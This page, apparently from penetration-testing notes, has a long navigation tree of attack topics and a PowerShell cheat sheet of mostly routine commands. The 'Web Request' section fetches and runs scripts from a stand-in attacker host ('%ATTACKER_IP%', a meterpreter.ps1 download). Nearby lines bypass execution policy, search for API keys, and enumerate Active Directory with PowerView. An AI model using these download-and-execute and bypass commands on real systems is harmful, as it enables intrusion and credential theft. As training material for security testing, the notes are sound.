Crypto

Openssl

- openssl
- openssl_engine

- rsa

Enumeration

Containers

Docs

- aws
- cewl
- dns
- docker_enumeration
- ffuf
- gobuster
- kerberoast
- kubectl
- ldap
- linux_basics
- microk8s
- nfs
- nikto
- nmap
- port_knocking
- rpcclient
- rsync
- rustscan
- shodan
Snmp

- onesixtyone
- snmpcheck

- websites
- wfuzz
- wpscan

Network_scanners

Windows

- bloodhound
- event_log
- manual_enum
- powershell
- rpcclient
- sysinternals
- sysmon
- vss

Exfiltration

Dns

- dns

Linux

- nc
- wget

Windows

- evil-winrm
- loot
- smb_connection

Exploit

CPUs

- meltdown

Binaries

- aslr
Buffer_overflow

Docs

- amd64
- amd64_instructions
- buffer_overflow
- cut_stack_in_half
- pwntools_specifics
- ret_address_reuse

- ropping

Canary_bypass

- canary_bypass

Format_string

- format_string

Integral_promotion

- integral_promotion

- plt_got
- r2
- ret2libc

Dns

- zone_transfer

Hashes

- collision

Imagemagick

- imagetragick

Java

OGNL

- cve_2022_26134

- ghidra_debug
- ghostcat
- log4shell
- spring4shell

Level3_hypervisor

Docker_sec

- docker

- kubernetes
- lxc
- microk8s

Linux

- capabilities
Dirty_pipe

- dirty_pipe

- exiftool
- groups
- ld_preload
- nfs_rootsquash
- overlayfs
Pkexec

- CVE_2021_4034

- polkit
- racing_conditions
- setcap
- shared_object_injection
- shell_shock
Sudo

- CVE_2019_14287
- CVE_2019_18634
- baron_samedit
- tokens

- wildard_exploitation

MacOS

Network

- mac_spoofing

Padding

- padbuster

Python

- code_injection
- jail_escape
- lib_hijack
- pickle
- pwntools
- pyc
- scapy

Samba

- smbmap

Sqli

- mssql
- no_sqli
- sqli
- sqlmap

Ssl_tls

- heartbleed

Web

Bypass_rate_limiting

- bypass_rate_limiting

- command_injection
Content_security_policy

- content_security_policy

- cookie_tampering
- csrf
Forced_browsing

- forced_browsing

- http_header_injection
Idor

- idor

Javascript

- bypass_filters
- prototype_pollution

Jwt

- jwt

- local_file_inclusion
- methodology
Nodejs

- deserialization

Php

- command_injection
- password_reset
- php_base64_filter
- php_image_exif
- php_user_agent_rce
- preload_lib
- unserialize

- re_registration
- remote_file_inclusion
Ssrf

- iframe
- ssrf

Ssti

- ssti

- url_forgery
- wordpress
- xpath
- xss
Xxe

- wp_xxe_
- xml_external_entity

Windows

Dll_hijacking

- dll_hijacking

Docs

- always_installed_elevated
- crackmapexec
- dpapi
- impacket
- llmnr
- lnk_exploit
- pass_the_hash
- password_in_registry
- potatoes
- printnightmare
- responder
- unquoted_path

Macros

- macros

Payloads

- windows_scripting_host

Print_nightmare

CVE-2021-1675

Nightmare-dll

- print_nightmare

Process_injection

- dll_injection
- process_hollowing
- shellcode_injection
- thread_hijacking

Service_escalation

- service_escalation

Zero_logon

- zero_logon

Yaml

- deserialization

Forensics

- ios
- kape
- ntfs
- oletools
- volatility
- windows_registry

Hashes

Bruteforce

- generate_wordlists
- haiti
- hashcat_utils
Password_cracking

- hydra
- john
- smb_challenge
- sucrack
- vnc

Password_guessing

- standard_passwords

Misc

Active_directory

- AD_CS
- active_directory
- ad_enumeration
- ad_misconfiguration
- ad_persistence
- gaining_foothold_AD
- lateral_movement

- bash
- clamav
- gitTools
- hadoop
- metasploit
Printer_hacking

- preta

- responder
- sandbox_evasion
- smtp
- snort
Telecommunications

_sipvicious

.github

ISSUE_TEMPLATE

- bug-report
- custom

Sipvicious

- sip_vicious

Threat_intelligence

- isac
- loki
- osquery
- pithus
- siem
- splunk
- yara

Wifi

- airmon-ng

Osint

- recon_ng
Social_engineering

- gophish
- phishing_domain

- spiderfoot
- theharvester

Persistence

- bashrc
- crontab
- meterpreter
- persistence
- wmi

Post exploitation

Seatbelt

.github

ISSUE_TEMPLATE

- bug_report
- feature_request

- CHANGELOG
Seatbelt

Commands

Windows

EventLogs

Output

Bc_security

Docs

- c2
- crackmapexec
- empire
- ids_ips_evation
- linux
- metasploit
- mimikatz
- mitm
- nfs_root_squash
- powershell
- secretsdump
Windows

- antivirus_evasion
- applocker
- evade_event_tracing
- living_off_the_land
- pass_the_hash
- powershell_logs
- registry
- sebackupprivilege
- user_account_control

- pivoting
Priv_esc

Docs

- linux_priv_esc
- pspy
Windows

- add_user
- windows_priv_esc

Kernel-exploits

Privesc-scripts

Docs

- get_script_onto_target

Suid

Reverse engineering

Android

- misc

Docs

- deobfuscation
- dll_reversing
- firmware
- function_mangling
- scada

Java

- krakatau

Reverse shells

Docs

- evil-winrm
- msfconsole
- msfvenom
- netcat
- powershell
- shell_upgrade
- socat
- webshell

- firewalls
Windows

Stego

Docs

- outguess
- remnux
- stegbrute
- steghide
- stegoveritas
- zsteg

- Powershell Usage
  - Get-Help
  - Passing Output via Pipe
  - Creating Objects from Previous Cmdlets
  - Filtering Objects
  - Sort Object
  - Finding a File
  - Showing File Content
  - Copy File Content
  - Count Lines of Output
  - Count Words
  - Checksum of File
  - Current Working Directory
  - File Metadata
  - Web Request
  - Base64 Decode File
  - Circumvent Execution-Policy
  - Enumeration
    - Users
    - Network intel
    - Patch level and updates
    - Drivers
    - Processes
    - Scheduled tasks
    - Alternate Data Stream(ADS)
    - Export Output
    - ACL
    - Port Scanner
    - Ping Hosts
    - Antivirus
    - Using Powerview

# Powershell Usage

## Get-Help

    Get-Help Command-Name

- Show examples

    Get-Help Command-Name -Examples

- Get-Command gets all the cmdlets installed on the current Computer.

    Get-Command

    Get-Command Verb-*
    Get-Command Invoke-*
    Get-Command Get-*

## Passing Output via Pipe

- A pipe passes object including methods and attributes.

    Verb-Noun | Get-Member

    Get-Command | Get-Member -MemberType Method

## Creating Objects from Previous Cmdlets

    Get-ChildItem | Select-Object -Property Mode, Name

- first - gets the first x object
- last - gets the last x object
- unique - shows the unique objects
- skip - skips x objects

## Filtering Objects

    Verb-Noun | Where-Object -Property PropertyName -operator Value
    Verb-Noun | Where-Object {$_.PropertyName -operator Value}

The second version uses the $_ operator to iterate through every object passed to the Where-Object cmdlet. * Where -operator is a list of the following operators:

- -Contains: if any item in the property value is an exact match for the specified value
- -EQ: if the property value is the same as the specified value
- -GT: if the property value is greater than the specified value

## Sort Object

    Verb-Noun | Sort-Object

    Get-ChildItem | Sort-Object

## Finding a File

    Get-ChildItem -Path C:\ -Recurse -Include *.txt -ErrorAction SilentlyContinue | Where-Object {$_.Name -match 'interesting-file'}

    Get-HotFix | Format-list | findstr  <searchstring>

    Get-ChildItem -Hidden -Recurse -ErrorAction SilentlyContinue

- Find backup files

    Get-ChildItem -Path C:\ -Recurse -Include *.bak* -ErroAction SilentlyContinue

- Find file contents

    Get-ChildItem -Path C:\* -Recurse | Select-String -pattern API_KEY

## Showing File Content

    Get-Content 'C:\Program Files\interesting-file.txt'

- Indexing lines

    (Get-Content -Path file.txt)[index]

- Search

    Select-String <filename> -Pattern <pattern>

## Copy File Content

    Copy-Item <sourcefile> <destfile>

## Count Lines of Output

As an example, count all cmdlets on the system

    Get-Command | Where-Object CommandType -eq CmdLet | Measure-Object

## Count Words

    Get-Command | Where-Object CommandType -eq CmdLet | Measure-Object -Word

## Checksum of File

    Get-FileHash -Algorithm MD5 'C:\Program Files\interesting-file.txt'

## Current Working Directory

    Get-Location

## File Metadata

    ls | Format-List *

## Web Request

    Invoke-Webrequest -Uri 'http://<attacker-ip> -OutFile <filename>

    (New-Object System.Net.WebClient).DownloadFile("http://example.com/meterpreter.ps1", 'meterpreter.ps1')

- Webrequest and execute in one go

    powershell -exec bypass -c "IEX(New-Object Net.WebClient).downloadString('http://%ATTACKER_IP%/PowerView.ps1'); Get-NetUser | select samaccountname, description"

## Base64 Decode File

    [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String((Get-Content .\Desktop\b64.txt)))

## Circumvent Execution-Policy

    powershell -ExecutionPolicy Bypass -File .\<file>

    Set-ExecutionPolicy Bypass -Scope Process

## Enumeration

### Users

    Get-LocalUser

- Password not required users

    Get-LocalUser | Where-Object -Property PasswordRequired -Match false

- SID of users

    Get-WmiObject win32_useraccount | Select name, sid

### Network intel

- Connections

    netstat -ano

- IP Address

    Get-NetIpAddress

- Listening TCP Ports

    Get-NetTCPConnection | Where-Object -Property State -Match Listen | measure

- TCP Port by number

    Get-NetTCPConnection | Where-Object -Property LocalPort -Match 443

### Patch level and updates

    Get-Hotfix

- Find patch by HotFixID

    Get-Hotfix | Where-Object -Property HotFixID -Match KB124284

    wmic qfe get Caption,Description,HotFixID,InstalledOn

### Drivers

    driverquery

### Processes

- Start processes

    Start-Process <process>

- Running processes

    Get-Process <process>

### Scheduled tasks

    schtasks /query /fo LIST /v

    Get-ScheduledTaskInfo

- Scheduled Tasks, by TaskName

    Get-ScheduledTask | Where-Object -Property TaskName -Match taskname

or

    Get-ScheduledTask -TaskName taskname

### Alternate Data Stream(ADS)

- Show ADS

    Get-Item -Path file.exe -Stream *

- Open ADS

    wmic process call create $(Resolve-Path file.exe:streamname)

### Export Output

- Export as CSV

    Get-Process <process> | Export-Csv <output.csv>

### ACL

- Owner of files

    Get-ACL C:\

### Port Scanner

    for($i=1; $i -le 65536; $i++) { Test-NetConnection localhost -Port $i}

### Ping Hosts

    1..15 | %{echo "10.0.2.$_"; ping -n 1 10.0.2$_ | Select-String ttl}

### Antivirus

    sc query windefend

- Service name unknown

    sc queryex type=service

### Using Powerview

    Import-Module .\powerview.ps1
    Get-NetDomainController
    (Get-NetUser).name
    Get-NetUser -properties description
    Get-NetUser | select -ExpandProperty lastlogon
    Get-NetComputer -ping
    Get-NetGroupMember "Domain Admins"
    Find-DomainShare -CheckShareAccess

- Enumerate Group Policy

    Get-NetGPO

- Trust relationship to other domains

    Get-NetDomainTrust

- User enumeration

    Find-LocalAdminAccess

    whoami /priv

    Import-Module ActiveDirectory
    Get-ADGroup
    Get-ADGroupMember
    Get-ADPrincipalGroupMembership